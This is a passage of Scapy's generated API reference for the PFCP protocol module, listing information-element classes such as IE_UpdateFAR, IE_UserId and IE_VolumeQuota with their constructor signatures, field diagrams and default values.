	BitField (Cond) (1 bit)

	None



	TRACE

	BitField (Cond) (1 bit)

	None



	QUOAC

	BitField (Cond) (1 bit)

	None



	UDBC

	BitField (Cond) (1 bit)

	None



	PDIU

	BitField (Cond) (1 bit)

	None



	EMPU

	BitField (Cond) (1 bit)

	None



	extra_data

	ExtraDataField

	b''











	
ie_type = 43

	








	
class scapy.contrib.pfcp.IE_URR_Id(_pkt, /, *, ietype=0, length=None, id=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1446-L1452]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               ID                              |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_URR_Id                          


IE_URR_Id fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	id

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 81

	








	
class scapy.contrib.pfcp.IE_UR_SEQN(_pkt, /, *, ietype=0, length=None, number=0)[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1689-L1694]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             NUMBER                            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                         Fig. IE_UR_SEQN                          


IE_UR_SEQN fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	number

	IntField

	0











	
ie_type = 104

	








	
class scapy.contrib.pfcp.IE_UpdateBAR_SRR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L561-L563]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_UpdateBAR_SRR                       


IE_UpdateBAR_SRR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 12

	








	
class scapy.contrib.pfcp.IE_UpdateDuplicatingParameters(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L671-L673]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

               Fig. IE_UpdateDuplicatingParameters                


IE_UpdateDuplicatingParameters fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 105

	








	
class scapy.contrib.pfcp.IE_UpdateFAR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L551-L553]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_UpdateFAR                         


IE_UpdateFAR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 10

	








	
class scapy.contrib.pfcp.IE_UpdateForwardingParameters(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L556-L558]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_UpdateForwardingParameters                


IE_UpdateForwardingParameters fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 11

	








	
class scapy.contrib.pfcp.IE_UpdatePDR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L546-L548]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_UpdatePDR                         


IE_UpdatePDR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 9

	








	
class scapy.contrib.pfcp.IE_UpdateQER(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L571-L573]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_UpdateQER                         


IE_UpdateQER fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 14

	








	
class scapy.contrib.pfcp.IE_UpdateTrafficEndpoint(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L691-L693]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                  Fig. IE_UpdateTrafficEndpoint                   


IE_UpdateTrafficEndpoint fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 129

	








	
class scapy.contrib.pfcp.IE_UpdateURR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L566-L568]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                        Fig. IE_UpdateURR                         


IE_UpdateURR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 13

	








	
class scapy.contrib.pfcp.IE_Update_BAR_SMR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L651-L653]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                      Fig. IE_Update_BAR_SMR                      


IE_Update_BAR_SMR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 86

	








	
class scapy.contrib.pfcp.IE_UsageInformation(_pkt, /, *, ietype=0, length=None, spare=0, UBE=0, UAE=0, AFT=0, BEF=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1515-L1525]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |U|U|A|B|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_UsageInformation                     


IE_UsageInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	UBE

	BitField  (1 bit)

	0



	UAE

	BitField  (1 bit)

	0



	AFT

	BitField  (1 bit)

	0



	BEF

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 90

	








	
class scapy.contrib.pfcp.IE_UsageReportTrigger(_pkt, /, *, ietype=0, length=None, IMMER=0, DROTH=0, STOPT=0, START=0, QUHTI=0, TIMTH=0, VOLTH=0, PERIO=0, EVETH=0, MACAR=0, ENVCL=0, MONIT=0, TERMR=0, LIUSA=0, TIMQU=0, VOLQU=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1280-L1301]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|I|D|S|S|Q|T|V|P|E|M|E|M|T|L|T|V|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_UsageReportTrigger                    


IE_UsageReportTrigger fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IMMER

	BitField  (1 bit)

	0



	DROTH

	BitField  (1 bit)

	0



	STOPT

	BitField  (1 bit)

	0



	START

	BitField  (1 bit)

	0



	QUHTI

	BitField  (1 bit)

	0



	TIMTH

	BitField  (1 bit)

	0



	VOLTH

	BitField  (1 bit)

	0



	PERIO

	BitField  (1 bit)

	0



	EVETH

	BitField  (1 bit)

	0



	MACAR

	BitField  (1 bit)

	0



	ENVCL

	BitField  (1 bit)

	0



	MONIT

	BitField  (1 bit)

	0



	TERMR

	BitField  (1 bit)

	0



	LIUSA

	BitField  (1 bit)

	0



	TIMQU

	BitField  (1 bit)

	0



	VOLQU

	BitField  (1 bit)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 63

	








	
class scapy.contrib.pfcp.IE_UsageReport_SDR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L631-L633]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_UsageReport_SDR                      


IE_UsageReport_SDR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 79

	








	
class scapy.contrib.pfcp.IE_UsageReport_SMR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L626-L628]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_UsageReport_SMR                      


IE_UsageReport_SMR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 78

	








	
class scapy.contrib.pfcp.IE_UsageReport_SRR(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L636-L638]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                     Fig. IE_UsageReport_SRR                      


IE_UsageReport_SRR fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 80

	








	
class scapy.contrib.pfcp.IE_UserId(_pkt, /, *, ietype=0, length=None, spare=0, NAIF=0, MSISDNF=0, IMEIF=0, IMSIF=0, imsi_length=None, imsi=b'', imei_length=None, imei=b'', msisdn_length=None, msisdn=b'', nai_length=None, nai=b'', extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L2043-L2077]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE |N|M|I|I|  IMSI LENGTH  |              IMSI             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  IMEI LENGTH  |              IMEI             | MSISDN LENGTH |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             MSISDN            |   NAI LENGTH  |      NAI      |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                          Fig. IE_UserId                          


IE_UserId fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (4 bits)

	0



	NAIF

	BitField  (1 bit)

	0



	MSISDNF

	BitField  (1 bit)

	0



	IMEIF

	BitField  (1 bit)

	0



	IMSIF

	BitField  (1 bit)

	0



	imsi_length

	FieldLenField (Cond)

	None



	imsi

	StrLenField (Cond)

	b''



	imei_length

	FieldLenField (Cond)

	None



	imei

	StrLenField (Cond)

	b''



	msisdn_length

	FieldLenField (Cond)

	None



	msisdn

	StrLenField (Cond)

	b''



	nai_length

	FieldLenField (Cond)

	None



	nai

	StrLenField (Cond)

	b''



	extra_data

	ExtraDataField

	b''











	
ie_type = 141

	








	
class scapy.contrib.pfcp.IE_UserPlaneIPResourceInformation(_pkt, /, *, ietype=0, length=None, spare1=0, ASSOSI=0, ASSONI=0, TEIDRI=0, V6=0, V4=0, teid_range=0, ipv4=0, ipv6=0, network_instance=b'', spare2=None, interface=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1800-L1827]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|S|A|A|TEIDR|V|V|   TEID RANGE  |              IPV4             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |              IPV6             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+                               +
|                                                               |
+                                                               +
|                                                               |
+                                                               +
|                                                               |
+                               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                               |        NETWORK INSTANCE       |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| SPARE2|INTERFA|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

              Fig. IE_UserPlaneIPResourceInformation              


IE_UserPlaneIPResourceInformation fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare1

	XBitField  (1 bit)

	0



	ASSOSI

	BitField  (1 bit)

	0



	ASSONI

	BitField  (1 bit)

	0



	TEIDRI

	BitField  (3 bits)

	0



	V6

	BitField  (1 bit)

	0



	V4

	BitField  (1 bit)

	0



	teid_range

	XByteField (Cond)

	0



	ipv4

	IPField (Cond)

	0



	ipv6

	IP6Field (Cond)

	0



	network_instance

	APNStrLenField (Cond)

	b''



	spare2

	XBitField (Cond) (4 bits)

	None



	interface

	BitEnumField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 116

	








	
class scapy.contrib.pfcp.IE_UserPlaneInactivityTimer(_pkt, /, *, ietype=0, length=None, timer=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1830-L1836]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|                             TIMER                             |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                 Fig. IE_UserPlaneInactivityTimer                 


IE_UserPlaneInactivityTimer fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	timer

	IntField

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 117

	








	
class scapy.contrib.pfcp.IE_UserPlanePathFailureReport(_pkt, /, *, ietype=0, length=None, IE_list=[])[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L666-L668]

	Bases: IE_Compound


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|            IE LIST            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                Fig. IE_UserPlanePathFailureReport                


IE_UserPlanePathFailureReport fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	IE_list

	PacketListField

	[]











	
ie_type = 102

	








	
class scapy.contrib.pfcp.IE_VolumeMeasurement(_pkt, /, *, ietype=0, length=None, spare=0, DLVOL=0, ULVOL=0, TOVOL=0, total=0, uplink=0, downlink=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1338-L1350]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |D|U|T|                     TOTAL                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     UPLINK                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    DOWNLINK                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                    Fig. IE_VolumeMeasurement                     


IE_VolumeMeasurement fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	DLVOL

	BitField  (1 bit)

	0



	ULVOL

	BitField  (1 bit)

	0



	TOVOL

	BitField  (1 bit)

	0



	total

	XLongField (Cond)

	0



	uplink

	XLongField (Cond)

	0



	downlink

	XLongField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 66

	








	
class scapy.contrib.pfcp.IE_VolumeQuota(_pkt, /, *, ietype=0, length=None, spare=0, DLVOL=0, ULVOL=0, TOVOL=0, total=0, uplink=0, downlink=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L1404-L1416]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|  SPARE  |D|U|T|                     TOTAL                     |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                     UPLINK                    |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |                    DOWNLINK                   |
+-+-+-+-+-+-+-+-+                                               +
|                                                               |
+               +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|               |           EXTRA DATA          |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

                       Fig. IE_VolumeQuota                        


IE_VolumeQuota fields






	ietype

	ShortEnumField

	93



	length

	ShortField

	None



	spare

	XBitField  (5 bits)

	0



	DLVOL

	BitField  (1 bit)

	0



	ULVOL

	BitField  (1 bit)

	0



	TOVOL

	BitField  (1 bit)

	0



	total

	XLongField (Cond)

	0



	uplink

	XLongField (Cond)

	0



	downlink

	XLongField (Cond)

	0



	extra_data

	ExtraDataField

	b''











	
ie_type = 73

	








	
class scapy.contrib.pfcp.IE_VolumeThreshold(_pkt, /, *, ietype=0, length=None, spare=0, DLVOL=0, ULVOL=0, TOVOL=0, total=0, uplink=0, downlink=0, extra_data=b'')[source] [https://github.com/secdev/scapy/blob/master/scapy/contrib/pfcp.py#L861-L873]

	Bases: IE_Base


	
aliastypes

	




	
fields_desc

	Display RFC-like schema
 0                   1                   2                   3
 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|             IETYPE            |             LENGTH            |
